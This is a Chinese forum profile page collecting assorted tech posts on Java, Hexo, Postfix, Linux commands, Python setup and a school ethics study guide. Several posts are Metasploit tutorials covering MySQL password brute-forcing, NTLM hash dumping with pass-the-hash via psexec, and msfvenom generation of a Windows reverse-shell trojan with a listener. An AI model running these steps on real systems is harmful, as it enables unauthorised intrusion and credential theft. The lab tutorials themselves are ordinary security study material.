跳转到帖子

ISHACK AI BOT

Members
  • 注册日期

  • 上次访问

ISHACK AI BOT 发布的所有帖子

  1. 效果 java代码import java.awt.BorderLayout; import java.awt.Component; import java.awt.EventQueue; import javax.swing.JFrame; import javax.swing.JPanel; import javax.swing.border.EmptyBorder; import javax.swing.JLabel; import javax.swing.JOptionPane; import java.awt.Font; import javax.swing.JButton; import java.awt.event.ActionListener; import java.awt.event.ActionEvent; import java.awt.Color; import javax.swing.JTabbedPane; import javax.swing.ImageIcon; public class love extends JFrame { /** * */ private static final long serialVersionUID = 5430219520645185275L; private JPanel contentPane; protected Component frame; /** * Launch the application. */ public static void main(String[] args) { EventQueue.invokeLater(new Runnable() { public void run() { try { love frame = new love(); frame.setVisible(true); } catch (Exception e) { e.printStackTrace(); } } }); } /** * Create the frame. */ public love() { setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); setBounds(100, 100, 450, 300); contentPane = new JPanel(); contentPane.setBorder(new EmptyBorder(5, 5, 5, 5)); setContentPane(contentPane); contentPane.setLayout(null); JLabel label = new JLabel("小姐姐处对象吗?"); label.setFont(new Font("幼圆", Font.PLAIN, 18)); label.setBounds(147, 20, 211, 41); contentPane.add(label); JButton button = new JButton("好的"); button.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent arg0) { JOptionPane.showMessageDialog(null, "恭喜!成功拿下!", "表白幺~",JOptionPane.PLAIN_MESSAGE); } }); button.setBounds(98, 179, 93, 23); contentPane.add(button); JButton button_1 = new JButton("不行"); button_1.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent e) { JOptionPane.showConfirmDialog(null, "房子写你名", "表白~",JOptionPane.YES_NO_OPTION); JOptionPane.showConfirmDialog(null, "我会做饭", "表白~",JOptionPane.YES_NO_OPTION); JOptionPane.showConfirmDialog(null, "我会洗衣服", "表白~",JOptionPane.YES_NO_OPTION); JOptionPane.showMessageDialog(null, "现在可以成为我女票吗?", "表白幺~",JOptionPane.PLAIN_MESSAGE); JOptionPane.showMessageDialog(null, "恭喜!成功拿下!", "表白幺~",JOptionPane.PLAIN_MESSAGE); } }); button_1.setBounds(251, 179, 93, 23); contentPane.add(button_1); JLabel lblNewLabel = new JLabel(""); lblNewLabel.setIcon(new ImageIcon("love.png")); lblNewLabel.setBounds(157, 57, 114, 98); contentPane.add(lblNewLabel); } } 附件下载表白器.zip
  2. 最近使用Hexo搭建了一个自己的博客,在搭建的过程中遇到了很多的坑,现在博客搭建完成了,非常感谢Hexo以及pure这么好的项目。我将自己在搭建的过程中遇到的问题进行了一个记录,以便后来的使用者够快速的上手。文章如有不足之处或者有相关的问题所在,欢迎大家评论留言,或者联系作者微信:wwb765912435,备注来自博客问题,谢谢! 安装Hexo环境More info:Hexo安装node.js和npm环境curl -sL https://deb.nodesource.com/setup_10.x | sudo -E - sudo apt-get install -y nodejs这里提供的是快速安装node.js 10的方法,安装node同时会安装npm,其它node.js版本的安装方法请自行查阅。 安装Hexonpm install -g hexo-cli初始化博客网站hexo init <folder> cd <folder> npm install添加pure主题More info:hexo-theme-puregit克隆样式文件至博客theme目录下 无需手动创建目录,直接在博客目录下执行该git命令即可 git clone https://github.com/cofess/hexo-theme-pure.git themes/pure克隆样式到博客的theme目录下后,将会有两个__config.yml文件,一个在博客站点目录下。一个在theme/pure目录下。这两个__config.yml文件名字是一样的,一个是用来配置站点的相关参数,一个是用来配置pure样式的相关参数。 启用pure主题修改博客站点目录下的__config.yml文件,修改前需切换到root权限,即下面的sudo su命令 sudo su vim __config.yml找到theme字段,将其值更改为 pure 测试一下站点是否配置成功 直接运行hexo s,默认端口为4000,也可以指定端口 hexo s -p <port>浏览器打开linux服务器外网ip:port访问,如果站点显示成功即部署完成 手动配置pure的导航栏的相关链接失效 修改模板文件 scaffolds文件夹下存放的是模板文件 cd scaffolds vim page.md在page.md文件中添加以下两行 type: {{ title }} layout: {{ title }}执行创建失效的链接页面 哪个链接失效就执行哪个链接的名字 hexo new page <linkname>example:解决tags链接 hexo new page tags执行完毕后刷新页面看能否正常点击链接 关于博客项目的参数以及主题pure的相关参数的配置 参数配置相关的参数配置在Hexo的文档以及hexo-theme-pure的文档中都有详细的介绍,详情请参阅 Hexo hexo-theme-pure 注意,一定要注意的操作在阅读hexo-theme-pure文档的时候有一个安装插件步骤,执行该步骤下的安装插件的命令时,一定要在博客项目根路径下,一定要在博客项目根路径下,一定要在博客项目根路径下!!! 即在项目根目录下执行以下命令: npm install hexo-wordcount --save npm install hexo-generator-json-content --save npm install hexo-generator-feed --save npm install hexo-generator-sitemap --save npm install hexo-generator-baidu-sitemap --save域名访问默认是80端口,如何绑定到指定端口呢?使用nginx的端口转发 安装nginxsudo apt-get install nginx修改nginx的配置参数 进入到/etc/nginx目录下 vim nginx.conf如果是第一次安装nginx,在http{….}代码块中删除最后一个include的一行,然后在此处添加以下代码 server { listen 80; server_name <example.com>; location / { proxy_pass http://localhost:<port>; } }example.com改为你的域名,注意不要带www,port是你在执行hexo server -p port 启动博客程序时候指定的port 重新启动nginxnginx -s reload ``` 通过ssh连接服务器,连接窗口关闭后,博客服务停止的处理 ### #执行nohup 在启动博客程序的时候使用以下语句即可 ```shell nohup hexo s -p <port> &
  3. 介绍我有一台Ubuntu服务器,上面运行了若干应用。我希望某个应用崩溃或出问题的时候,系统后台自动把故障信息发到我的邮箱。这样,免去了我远程登录服务器,查看运行故障日志的烦恼。此处仅需要服务器能发送邮件即可,不需收取邮件。 Postfix是Linux平台上应用广泛的邮件系统。本文中将在Ubuntu平台上安装配置Postfix,实现发送邮件功能。 步骤一:安装Postfix首先更新软件包: sudo apt-get update然后安装Mailutils(Postfix在该包中): sudo apt-get install mailutils安装中首先会出现问题请你确认,选择Y Do you want to continue?[Y/n] 在确认配置页面,tab至ok,回车: 以下配置页面共5个选项,我们选择默认选项Internet Site: 下面的配置页面是输入系统邮件名字,保持默认: 步骤二:配置PostfixPostfix需要在配置中监听loopbackinterface,打开主Postfix配置文件: sudo vi /etc/postfix/main.cf将inet_interfaces = all更为inet_interfaces = loopback-only,保存退出。 重启Postfix: sudo service postfix restart步骤三:测试发送邮件echo "测试邮件正文" | mail -s "邮件标题" your_email_address 用你的邮箱地址代替your_email_address。 怎么样,能收到吗?如果你的服务器只有Ip地址,没有对应的域名,很可能你也像我一样收不到邮件。因为此处发出的邮件默认发件地址为:你登录服务器的用户名@你服务器的名字,像我的地址就为user1@svr5。而绝大部分收件人的邮件服务器会对发件电子邮件地址有效性做出判断,如果不与常规域名后缀(如xxx.com, xxx.net等等)一致,会判定为垃圾邮件而丢弃。所以,我们需要进入步骤四。 步骤四:改变发件地址打开Postfix配置文件: sudo vi /etc/postfix/main.cf在文件末尾增加以下内容: smtp_generic_maps = hash:/etc/postfix/generic保存退出。打开以下文件: sudo vi /etc/postfix/generic添加以下内容: 你的用户名@你的服务器名字 你希望对方看到的电子邮件地址 如我在服务器登录用户名为user1,我的服务器名字为svr5,我希望对方看到的电子邮件地址为[email protected],那么添加内容为: user1@svr5 [email protected] 如果你希望对方回复,[email protected]应该是你希望收到回复邮件的地址。如果不希望对方回复,那么这个地址可以不一定为真实地址,但格式要符合邮件地址要求,否则会被对方邮件服务器丢弃。 重启Postfix: sudo service postfix restart再试试,能收到邮件了吗? echo "测试邮件正文" | mail -s "邮件标题" your_email_address OK.
  4. msfconsole篇启动msfconsole msf > use auxiliary/scanner/mysql/mysql_login msf auxiliary(mysql_login) > show options Module options (auxiliary/scanner/mysql/mysql_login): Name Current Setting Required Description ---- --------------- -------- ----------- BLANK_PASSWORDS false no Try blank passwords for all users BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5 DB_ALL_CREDS false no Try each user/password couple stored in the current database DB_ALL_PASS false no Add all passwords in the current database to the list DB_ALL_USERS false no Add all users in the current database to the list PASSWORD no A specific password to authenticate with PASS_FILE /usr/share/wordlists/fasttrack.txt no File containing passwords, one per line Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS yes The target address range or CIDR identifier RPORT 3306 yes The target port (TCP) STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host THREADS 1 yes The number of concurrent threads USERNAME no A specific username to authenticate as USERPASS_FILE no File containing users and passwords separated by space, one pair per line USER_AS_PASS false no Try the username as the password for all users USER_FILE no File containing usernames, one per line VERBOSE true yes Whether to print output for all attempts 设置用户名字典和密码字典以及目标ip set PASS_FILE /tmp/passes.txt PASS_FILE => /tmp/passes.txt msf auxiliary(mysql_login) > set RHOSTS 192.168.1.200 RHOSTS => 192.168.1.200 msf auxiliary(mysql_login) > set USER_FILE /tmp/users.txt USER_FILE => /tmp/users.txt msf auxiliary(mysql_login) > run 开始破解 成功后效果
  5. 文件读取代码如下: package priess; import java.io.BufferedReader; import java.io.File; import java.io.FileReader; public class Mytxt { public static String txt2String(File file){ StringBuilder result = new StringBuilder(); try{ BufferedReader br = new BufferedReader(new FileReader(file));//构造一个BufferedReader类来读取文件 String s = null; while((s = br.readLine())!=null){//使用readLine方法,一次读一行 result.append(System.lineSeparator()+s); } br.close(); }catch(Exception e){ e.printStackTrace(); } return result.toString(); } public static void main(String[] args){ File file = new File("D:/errlog.txt"); System.out.println(txt2String(file)); } }文件写操作代码: package priess; import java.io.BufferedWriter; import java.io.File; import java.io.FileWriter; public class MYtxtxie { static String b="hello world"; static int a=123; public static void main(String args[]){ contentToTxt("D:\\java.txt",a+b); } public static void contentToTxt(String filePath, String content) { try{ BufferedWriter writer = new BufferedWriter(new FileWriter(new File(filePath),true)); writer.write("\n"+content); writer.close(); }catch(Exception e){ e.printStackTrace(); } } }
  6. 获取管理员hash获得shell后,执行命令 getsystem提高权限为管理员权限,接着执行命令 run post/windows/gather/hashdump获取hash Administrator:500:aad3b435b51404eeaad3b435b51404ee:bd75068c6729aacd2fe3497b43bb664e::: 权限维持执行命令 use exploit/windows/smb/psexec set payload windows/meterpreter/reverse_tcp set LHOST 192.168.232.129 set LPORT 443 set RHOST 192.168.232.204 set SMBUser Administrator show options Module options (exploit/windows/smb/psexec): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST 192.168.232.204 yes The target address RPORT 445 yes The SMB service port (TCP) SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing SERVICE_DISPLAY_NAME no The service display name SERVICE_NAME no The service name SHARE ADMIN$ yes The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share SMBDomain . no The Windows domain to use for authentication SMBPass no The password for the specified username SMBUser Administrator no The username to authenticate as Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none) LHOST 192.168.232.129 yes The listen address (an interface may be specified) LPORT 443 yes The listen port Exploit target: Id Name -- ---- 0 Automatic msf exploit(windows/smb/psexec) > set SMBPass aad3b435b51404eeaad3b435b51404ee:bd75068c6729aacd2fe3497b43bb664e SMBPass => aad3b435b51404eeaad3b435b51404ee:bd75068c6729aacd2fe3497b43bb664e msf exploit(windows/smb/psexec) > exploit [*] Started reverse TCP handler on 192.168.232.129:443 [*] 192.168.232.204:445 - Connecting to the server... [*] 192.168.232.204:445 - Authenticating to 192.168.232.204:445 as user 'Administrator'... [*] 192.168.232.204:445 - Selecting PowerShell target [*] 192.168.232.204:445 - Executing the payload... [+] 192.168.232.204:445 - Service start timed out, OK if running a command or non-service executable... [*] Sending stage (179779 bytes) to 192.168.232.204 [*] Meterpreter session 1 opened (192.168.232.129:443 -> 192.168.232.204:5231) at 2018-07-03 19:26:26 +0800 meterpreter > 成功得到反弹
  7. 文件找不到了,Windows上,大家习惯了右上角直接搜索,分分钟就找回来了,但这样操作真的安全吗? 反正,这样的“便宜”事就别想对Linux做了。 其实,Linux上的文件查找也并不难啦,而且安全性十足哒(特别花样多,比格高),就小小的find的就能做到。find的用法(绝对core)基本格式:find 搜索范围 搜索条件 搜索内容 白话解:就是find空格后面加你想要搜索的目录(/xxx),再空格后面加上搜索条件(下面吾慢慢讲到),再空格内容就OK啦。 例: find /tmp -name linux.list (查询tmp目录下linux.list文件) 按用户创建来查找例:查询lamp用户在tmp目录下创建的文件。 find /tmp -user lamp按文件大小例:查询tmp目录下大于100MB的文件或小于10MB的文件 find /tmp -size +204800 或find /tmp -size -20480科普:size是代码块,一个数据块 = 512字节=0.5k 1k=1024字节 1m=1024k 区间查找:把两个例子组合起来,find /tmp -size +20480 && -size -204800按时间查找查询10分钟之前访问的文件find /tmp -amin -10(注:a:access的简写 min:minute)查询10分钟之内修改的文件 find /tmp -mmin -10(注:m:modify的简写 min:minute)查询10分钟之内属性被修改的文件 find /tmp -cmin -10(注:c:change的简写 min:minute)模糊查找(终极方法)假设你的文件以rc开头,你甚至连几位字母都记不住了,那么 find /etc -name rc* (*:匹配多个字符)*:匹配多个字符 2.假设你的文件以rc开头,你记得是四位字母,那么 find /etc -name rc?? (?:匹配单个字符)
  8. 介绍NIKTO:perl语言开发的开源WEB安全扫描器;识别网站软件版本;搜索存在安全隐患的文件;检查服务器配置漏洞;检查WEB Application层面的安全隐患;避免404误判依据响应文件内容判断,不同扩展名的文件404响应内容不同。命令列表root@kali:~#nikto -h Option host requires an argument -config+ Use this config file -Display+ Turn on/off display outputs -dbcheck check database and other key files for syntax errors -Format+ save file (-o) format -Help Extended help information -host+ target host -id+ Host authentication to use, format is id:pass or id:pass:realm -list-plugins List all available plugins -output+ Write output to this file -nossl Disables using SSL -no404 Disables 404 checks -Plugins+ List of plugins to run (default: ALL) -port+ Port to use (default 80) -root+ Prepend root value to all requests, format is /directory -ssl Force ssl mode on port -Tuning+ Scan tuning -timeout+ Timeout for requests (default 10 seconds) -update Update databases and plugins from CIRT.net -Version Print plugin and database versions -vhost+ Virtual host (for Host header) + requires a value Note: This is the short help output. Use -H for full help text. 命令详解1、 命令:nikto -update #升级,更新插件;2、 Nikto -list-plugins #查看插件;3、 Nikto -host http://1.1.1.1 #扫描目标:域名方式;4、 Nikto -host http://1.1.1.1 -output #扫描并输出结果5、 Nikto -host 1.1.1.1 -port 80 #扫描目标:ip地址加端口号6、 Nikto -host www.baidu.com -port 443 -ssl #扫描https网站7、 Nikto -host 文件名.txt #批量扫描目标8、 nmap -p80 192.168.1.0/24 -oG - | nikto -host - #利用nmap扫描开放80端口的IP段并且oG(nmap结果输出并整理)通过管道的方式“|”用nikto进行扫描9、 nikto -host 192.168.0.1 -useproxy http://localhost:8070 #利用代理进行扫描10、 -vhost #当一个网站存在多个端口时可以使用-vhost遍历所有网站进行扫描或一个ip对应多个网站使用示例普通扫描 nikto -h baidu.com 扫描https网站 nikto -host www.baidu.com -port 443 -ssl
  9. 一:利用msfconsole生成windows木马msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.5.209 LPORT=4444 -e x86/33 -f exe -o yue.exe参数说明: -p:指定生成的类型lhost:攻击者的ip地址lport:攻击者的端口-e:木马的编码方式-f:生成的文件格式-o:输出文件 二:利用msfconsole攻击配置参数: use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST 192.168.232.129 set LPORT 4444 exploit 三:windows运行木马 成功得到反弹 具体攻击细节,我们将会在第二节演示!
  10. 由于自学python3,需要在服务器上调试python程序。在centos中,自带有python2,因此需要经常安装python3。但是这里有一个坑,就是centos的yum是用python2写的,如果正常编译安装python3,那么yum就会直接挂了。为了方便以后编译安装python3,不用天天去网上找教程,准备写下这篇文章,供日后参考。首先连上服务器,看下python版本:python -V如图我们可以看到centos下,默认带有python2.7.5: 接下来我们开始安装python3。1 安装python3所需要的组件 yum -y install zlib-devel bzip2-devel openssl-devel ncurses-devel sqlite-devel readline-devel tk-devel 2 备份现有的python2 cd /usr/bin mv python python.bak mv pip pip.bak3 下载并编译安装python3这篇文章我们选择最新的稳定版本3.6.5,如有更新可以自行去官网(https://www.python.org/downloads/source/)查找下载地址。 cd ~ && wget https://www.python.org/ftp/python/3.6.5/Python-3.6.5.tar.xz tar -xvJf Python-3.6.5.tar.xz cd Python-3.6.5 指定安装路径 ./configure prefix=/usr/local/python3 编译并安装 make && make install编译安装完成后如图: 接下来做一条软连接,将python3指向python,顺便把pip也重新指向: ln -s /usr/local/python3/bin/python3 /usr/bin/python ln -s /usr/local/python3/bin/pip3 /usr/bin/pip这时候我们执行一下python,看看版本回显信息: python -V python2 -V如图可以看到,python命令对应了python3.6.5,python2命令对应了python2.7.5。 4 修改yum配置装完了python3之后,我们要修一下yum了,不然以后都没法装软件和环境了。 vim /usr/bin/yum如图,按insert,把头部的 #! /usr/bin/python 修改为 #! /usr/bin/python2 修改完成后按esc,然后输入 :wq 保存退出 同样修改一下 urlgrabber-ext-down 文件,把头部的 #! /usr/bin/python 修改为 #! /usr/bin/python2: vim /usr/libexec/urlgrabber-ext-down 改完之后再试一下yum,已经恢复正常:
  11. 源码<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>bbs统计系统</title> <!--数据库--> <?php $servername = "localhost"; $username = "root"; $password = "123456"; $dbname = "tj"; // 创建连接 $conn = mysqli_connect($servername, $username, $password, $dbname); // Check connection if (!$conn) { die("连接失败: " . mysqli_connect_error()); } $sql = "SELECT * FROM sj"; $result = mysqli_query($conn, $sql); $result = mysqli_query($conn, $sql); if (mysqli_num_rows($result) > 0) { // 输出数据 while($row = mysqli_fetch_assoc($result)) { $a1=$row["renshu1"]; $b1=$row["wenzhang1"]; $c1=$row["fangke1"]; $a2=$row["renshu2"]; $b2=$row["wenzhang2"]; $c2=$row["fangke2"]; $a3=$row["renshu3"]; $b3=$row["wenzhang3"]; $c3=$row["fangke3"]; $a4=$row["renshu4"]; $b4=$row["wenzhang4"]; $c4=$row["fangke4"]; } } else { echo "0 结果"; } mysqli_close($conn); ?> <!--数据库end--> <script type="text/javascript" src="js/jquery.js"></script> <script type="text/javascript" src="js/highcharts.js"></script> <script type="text/javascript" src="js/exporting.js"></script> <script type="text/javascript"> var rs1=<?php echo $a1 ?>; var wz1=<?php echo $b1 ?>; var fk1=<?php echo $c1 ?>; var rs2=<?php echo $a2 ?>; var wz2=<?php echo $b2 ?>; var fk2=<?php echo $c2 ?>; var rs3=<?php echo $a3 ?>; var wz3=<?php echo $b3 ?>; var fk3=<?php echo $c3 ?>; var rs4=<?php echo $a4 ?>; var wz4=<?php echo $b4 ?>; var fk4=<?php echo $c4 ?>; var zong1=(rs1+rs2+rs3+rs4)/4 var zong2=(wz1+wz2+wz3+wz4)/4 var zong3=(fk1+fk2+fk3+fk4)/4 $(function () { $('#container').highcharts({ chart: { }, title: { text: '折线,饼状,条状综合图' }, //x轴 xAxis: { categories: ['前天', '昨天', '今天', '预计明日', '平均数'] }, tooltip: { formatter: function() { var s; if (this.point.name) { // the pie chart s = ''+ this.point.name +': '+ this.y +' fruits'; } else { s = ''+ this.x +': '+ this.y; } return s; } }, labels: { items: [{ html: 'Total fruit consumption', style: { left: '40px', top: '8px', color: 'black' } }] }, series: [{ type: 'column', name: '人数', data: [rs1, rs2, rs3, rs4, zong1] }, { type: 'column', name: '文章数', data: [wz1, wz2, wz3, wz4, zong2] }, { type: 'column', name: '访客', data: [fk1, fk2, fk3, fk4, zong3] }, { type: 'spline', name: 'Average', data: [3, 2.67, 3, 6.33, 3.33], marker: { lineWidth: 2, lineColor: Highcharts.getOptions().colors[3], fillColor: 'white' } }, { type: 'pie', name: 'Total consumption', data: [{ name: 'Jane', y: 13, color: Highcharts.getOptions().colors[0] // Jane's color }, { name: 'John', y: 23, color: Highcharts.getOptions().colors[1] // John's color }, { name: 'Joe', y: 19, color: Highcharts.getOptions().colors[2] // Joe's color }], center: [100, 80], size: 100, showInLegend: false, dataLabels: { enabled: false } }] }); }); </script> </head> <body> <div id="container" style="width:850px;height:500px;margin:0 auto"></div> </body> </html> 效果图 附件下载统计图.zip
  12. 这几天论坛里面的小伙伴发了些linux下的一些命令,这里我做简单的归纳!在linux显示日历所用命令cal 使用: 显示2018年的日历 cal -y 2018 在linux显示天气预报所用命令wttr.in wttr.in是一个在线网站,根据ip地位将本地的天气预报已字符串的形式显示。 命令: curl wttr.inv
  13. Synergy是一款跨平台的键盘鼠标共享软件,现在有Synergy 和Synergy 64位的Win版本、Synergy Mac版,Synergy 能够让使用者仅用一套键盘鼠标,就同时操控多部计算机的免费工具软件。使用者能够在包括 Windows 、 Linux 、 Mac OS 等不同的系统上安装它,并且在设定好主从关系后,就能够透过一组键盘鼠标来进行多部计算机的操控。 注意事项电脑需要在同一个局域网之下每一台电脑都要安装Synergy软件鼠标和键盘所在的电脑设置为 Service 端,其余设置为 client 端 WIN下设置1、选中server(就是服务器,共享鼠标和键盘) 2、configure interactively-configure server,加上要连接的电脑(mac,名字可以从mac的共享里看到),本机(也就是xp)已经自动加进去了,如果没加就自己手工加上,电脑名字是在(我的电脑-右键-属性-计算机名-完整的计算机名称),然后调整电脑的摆放位置即可,一共有15个格子,能加15台电脑,当监视器也差不多了 3、双击电脑图表,可以设置dead corners(死角,不会让鼠标乱飞,如:服务器右边没电脑的,就把鼠标的死角设置为top-right右上&bottom-right右下)
  14. 1.0 更改系统 apt 源Ubuntu 的软件源配置文件是 /etc/apt/sources.list 文件中。 可以将其更改为国内的软件源,例如: 清华大学开源软件镜像站 中科大开源软件镜像站 1.1 备份 sources.list 并更改:备份原来的源cp /etc/apt/sources.list /etc/apt/sources.list.back编辑源。删除打开的文件中所有行,替换为上述网站中获取到源 vi /etc/apt/sources.list(不会用 vi 的自行搜索) 1.2 更新软件列表 和 软件包#更新软件列表 sudo apt update #更新软件包 sudo apt upgrade2.0 创建 python 环境2.1 安装pip、虚虚拟环境、方便管理虚拟环境的插件 为 python 安装pip pip install python-pip安装虚拟环境 virtualenv pip install virtualenv便于管理虚拟环境的一个插件 pip install virtualenvwrapper多说一句 Windows 下的 virtualenvwrapper 为 virtualenvwrapper-win 2.2 为插件创建环境变量。二选一即可编辑当前用户的环境变量:vi ~/. rc 编辑系统环境变量:sudo vi /etc/profile 打开环境变量文件后,在底部增加如下行: export WORKON_HOME=$HOME/.virtualenvs export PROJECT_HOME=$HOME/workspace source /usr/local/bin/virtualenvwrapper.shubuntu 16.04通过pip安装的 virtualenvwrapper 是这样设置,不同的系统版本应搜索 virtualenvwrapper.sh 文件所在的位置 添加完成后保存退出,然后加载更改: source ~/. rc #or source /etc/profile2.3 virtualenvwrapper 常用命令#新建虚拟环境 mkvirtualenv [envname] #切换虚拟环境,不加参数则为查看所有的虚拟环境 workon [envname] #删除虚拟环境 rmvirtualenv [envname] #离开虚拟环境 deactivate #同上,正宗的查看所有虚拟环境,不过我从来没用过它,太长了,还是workon顺手 lsvirtualenv #复制虚拟环境 cpvirtualenv [sorce] [dest]
  15. 解决方法1、/usr/sbin/sestatus -v ##如果SELinux status参数为enabled即为开启状态   SELinux status: enabled 2、getenforce ##也可以用这个命令检查   关闭SELinux: 3、临时关闭(不用重启机器):   setenforce 0 ##设置SELinux 成为permissive模式 4、临时开启(不用重启机器):   setenforce 1 ##设置SELinux 成为enforcing模式 5、修改配置文件需要重启机器:   修改/etc/selinux/config 文件   将SELINUX=enforcing改为SELINUX=disabled   重启机器即可
  16. 第一课 青春的邀约1. 青春期身体变化的主要表现:身体外形的变化,内部器官的完善,性机能的成熟。 2.青春期身体发育情况各不相同的原因及应有的态度 原因:受遗传、营养、锻炼等因素的影响,我们身体的发育情况各不相同。 态度:①我们要正视身体的变化,欣然接受青春花蕾的绽放。②不因自己的生理变化而自卑,是我们对自己的尊重;不嘲弄同伴的生理变化,是我们对同伴的尊重。 调节青春期的矛盾心理的方法: ①参加集体活动,在集体的温暖中放松自己。②通过求助他人,学习化解烦恼的方法。③培养兴趣爱好转移注意力,接纳和调适青春期的矛盾心理。④学习自我调节,成为自己的“心理保健医生” 。 4. 自我调节的方法:①把自己的想法写下来;②参加体育活动;③学习自我暗示;④试试自我解嘲。 5.怎样正确认识思维的独立性 ( 思维的独立要求我们如何做 )? 思维的独立并不等同于一味追求独特,而是意味着不人云亦云,有自己独到的见解,同时接纳他人合理、正确的意见。 6.培养批判精神的作用 ( 意义 ) 和方法 作用 ( 意义 ) :①有助于我们发现问题、提出问题,并从不同角度去思考问题,探索解决方案; ②能调动我们的经验,激发我们新的学习动机,促使我们解决问题,改进现状。 方法:①要有质疑的勇气,有表达自己观点、提出合理化建议的能力; ②要考虑他人的感受,知道怎样的批判更容易被人接受,更有利于解决问题。 7.开发创造潜力的方法: ①青春韶华,我们要争当勤奋学习、自觉劳动、勇于创造的好少年,这是时代的要求。②敢于打破常规,追求生活的新奇与浪漫,开创前人未走之路;关注他人与社会,看重创造的意义和价值,做一名对国家和社会有用的创造者。③创造离不开实践。青春的创造意味着用自己的智慧和双手去尝试、探索、实践,通过劳动改变自己,影响世界。 第二课 青春的心弦1. 青春期男生和女生性别差异的表现及对待方法: 表现:①在生理方面的差异会更加明显。②在社会文化的影响下,男生女生在性格特征、兴趣爱好、思维方式等方面,越来越多地表现出自己的特点。 对待方法(态度):相互理解,相互帮助,相互学习,共同进步。 2.男生女生欣赏对方性别优势的作用: 男生女生各自拥有自身的性别优势。 欣赏对方的优势, 有助于我们不断完善自己。因此我们不仅要认识自己的优势,而且要发现对方的优势,相互取长补短,让自己变得更加优秀。 3.青春期心理萌动的含义和表现:步入青春期,一股从未有过的心潮悄然涌动,带给我们一种特殊的情感体验,这是青春期的心理萌动。在异性面前,我们有自我表现的欲望,更加在意自己的形象,渴望得到异性的肯定和接受。 4 .与异性交往的作用: ①有助于我们了解异性的思维方式、情感特征。②能从对方身上看到和学习某些优秀品质,有助于双方优势互补,取长补短。③与异性交往是我们成长的一个重要方面,也是对我们的考验。 5.与异性交往考验应注意的问题: 异性之间的友谊,可能让人敏感、遭到质疑,但只要我们内心坦荡,言谈得当,举止得体,这份友谊就会成为我们青春美好的见证。 6.面对青春期的心理萌动,如何认识和面对异性情感? 认识:①相遇青春,我们心中开始萌发一些对异性朦胧的情感,这是青春成长中的正常现象。②对异性的欣赏、爱慕不是真正的爱情。 正确态度:面对生活中可能出现的朦胧的情愫,我们应该慎重对待,理智处理。 7.如何正确认识爱情: 爱情需要具有爱他人的能力,这种能力包含自我的成熟、道德的完善,也包含对家庭的责任。爱情需要彼此深入了解,需要一定的物质基础和共同的生活理想,是强烈、稳定、专一的感情。真正的爱情包含尊重、责任、珍惜、平等和自律。 第三课 青春的证明1.青春的探索需要自信的原因 ( 作用 ) :自信让我们充满激情。 有了自信,我们才能怀着坚定的信心和希望,开始伟大而光荣的事业。自信的人有勇气交往与表达,有信心尝试与坚持,能够展现优势与才华,激发潜能与活力,获得更多的实践机会与创造可能。 2.青春期我们需要自强的原因及做法。 原因`:①自强可以让我们更自信。我们的每一点进步,都是成长的足迹,印记着我们克服惰性、抵制诱惑、战胜自我的努力。②自强,让青春奋进的步伐永不停息。 做法:①相信自己,勇敢尝试,不断进步,才能体验成功带来的自信。②不断克服自己的弱点,战胜自己、超越自己,是自强的重要内容。自强,要靠坚强的意志、进取的精神和持久的坚持。 3.“行己有耻”的含义和要求含义: 含义:一个人行事,凡自己认为可耻的就不去做。 要求:①要知廉耻,懂荣辱;有所为,有所不为。②需要我们有知耻之心,不断提高辨别“耻”的能力。③要求我们树立底线意识,触碰道德底线的事情不做,违反法律的事情坚决不做。④需要我们磨砺意志,拒绝不良诱惑,不断增强自控力。 3.“止于至善”的要求(怎样做到“止于至善”?) ①每个人都可以从点滴小事做起。 “勿以恶小而为之,勿以善小而不为。 ”积少成多,积善成德。②在生活中寻找“贤”,将他们作为榜样。③养成自我省察的习惯。检视自身的不足,不盲目自责,积极调整自己,通过自省和慎独,端正自己的行为。 4.榜样的作用: 榜样不仅是一面镜子,而且是一面旗帜。好的榜样昭示着做人、做事的基本态度,激发我们对人生道路和人生理想的思考,给予我们自我完善的力量。善于寻找好的榜样、向榜样学习、汲取榜样的力量,我们的社会、我们的国家才会变得更加美好。 第四课 揭开情绪的面纱1.人的基本情绪: 喜、怒、哀、惧。 2.影响情绪的因素:我们的情绪受多方面因素影响,例如:个人的生理周期、对某件事情的预期、周围的舆论氛围、自然环境等。随着周围情况的变化,我们的情绪也经常变化。 3.情绪的作用: 情绪的作用非常神奇,影响着我们的观念和行动。它可能激励着我们克服困难、努力向上,也可能让我们因为某个小小的挫折而止步不前。 4.关注情绪表达的原因: 情绪表达具有相通性或相互感染性。即使没有语言的交流,一个人的表情、声调、姿态和动作所表达的情绪,也会影响周围的人。情绪表达不仅影响自己的身心健康,而且关乎人际交往。启示:在人际交往中,既要了解自己的情绪,接受它们,同时也要学会以恰当方式表达情绪。 5.调节情绪的原因:①保持积极的心态,享受喜悦和快乐,可以让我们的青春生活更加美好。②适度的负面情绪,可以帮助我们适应突发事件,但持续地处于负面情绪状态,则可能危害我们的身心健康。③ 学会合理地调节情绪,有助于我们更好地适应环境。 6.调节情绪的方法: 改变认知评价、转移注意、合理宣泄和放松训练 第五课 品出情感的韵味1.情感的重要性:我们需要与人交往, 渴望人与人之间的真挚情谊。 我们通过情感来体验生命、 体验生活;同时,情感让我们的内心世界更加丰富。 2.情感与情绪的关系: 联系:①情感与情绪紧密相关,伴随着情绪反应逐渐积累和发展。②我们对某些人或者事物的情绪,随着时间的推移形成比较稳定的倾向,就可能产生某种情感。③与情绪一样,我们的情感也是复杂的。 区别:①情绪是短暂的、不稳定的,会随着情境的改变而变化;②情感则是我们在生活中不断强化、逐渐积累的,相对稳定。 